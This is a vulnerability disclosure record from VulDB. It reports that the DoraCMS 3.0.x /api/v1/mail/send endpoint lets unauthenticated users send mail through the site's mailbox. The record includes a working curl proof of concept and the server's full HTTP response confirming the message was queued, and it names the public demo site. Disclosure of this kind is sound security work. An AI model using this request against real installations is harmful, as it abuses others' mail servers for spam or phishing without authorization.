| Название | DoraCMS 3.0.x 未授权邮件发送 |
|---|
| Описание | 可以在未登录、不注册的情况下使用他的邮箱进行发送信息
curl -i -sS -X POST "$HOST/api/v1/mail/send" \ 13:39
-H 'Content-Type: application/json' \
-d '{
"tempkey":"-1",
"info":{
"title":"POC Bulk Mail",
"content":"<h1>POC</h1>",
"targets":"[email protected]"
}
}'
HTTP/1.1 200 OK
X-Request-ID: 9b899efc-f843-4d11-93ee-09ac0a483306
API-Version: v1
X-API-Version-Source: path
X-API-Version: V1_LEGACY
Access-Control-Allow-Headers: Content-Type, Content-Length, Authorization, Accept, X-Requested-With, yourHeaderFeild, x-request-id
Access-Control-Allow-Methods: PUT, POST, GET, DELETE, OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600
set-cookie: locale=en-us; path=/; max-age=31557600; expires=Fri, 26 Feb 2027 11:40:20 GMT
set-cookie: locale=en-us; path=/; samesite=lax
set-cookie: locale.sig=6htyPJ_zT9aNC03Siz8MluPM2HEdASUUiWqYlywf1KY; path=/; samesite=lax
set-cookie: DORA_SESS=RY34Oa6mwwKmftR-c_c7sSBamRec-F896ft2oN_Z0pyVx0q4uvPY_fZZadt9JIH7ZvxwBkCoSiEP8jlynxHV0nPvC_9APpppyp_pOMITL4uNSIKcCo_ps2ABDaEzrMb5nip4VaORIkXn1C-Zes_qHNKguG_nNrn-AHMz7XZedLs=; path=/; max-age=2592000; expires=Sat, 28 Mar 2026 05:40:22 GMT; samesite=lax; httponly
Vary: Accept-Encoding
Content-Type: application/json; charset=utf-8
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
x-download-options: noopen
x-readtime: 1080
content-length: 233
Date: Thu, 26 Feb 2026 05:40:22 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"status":200,"data":{"success":true,"messageId":"<[email protected]>","response":"250 OK: queued as."},"message":"","timestamp":"2026-02-26T05:40:22.058Z","requestId":"9b899efc-f843-4d11-93ee-09ac0a483306"}%
|
|---|
| Источник | ⚠️ https://demo.doracms.net |
|---|
| Пользователь | zsmaaa (UID 93294) |
|---|
| Представление | 26.02.2026 15:43 (1 месяц назад) |
|---|
| Модерация | 08.03.2026 08:32 (10 days later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 349761 [doramart DoraCMS 3.0.x Email API /api/v1/mail/send слабая аутентификация] |
|---|
| Баллы | 17 |
|---|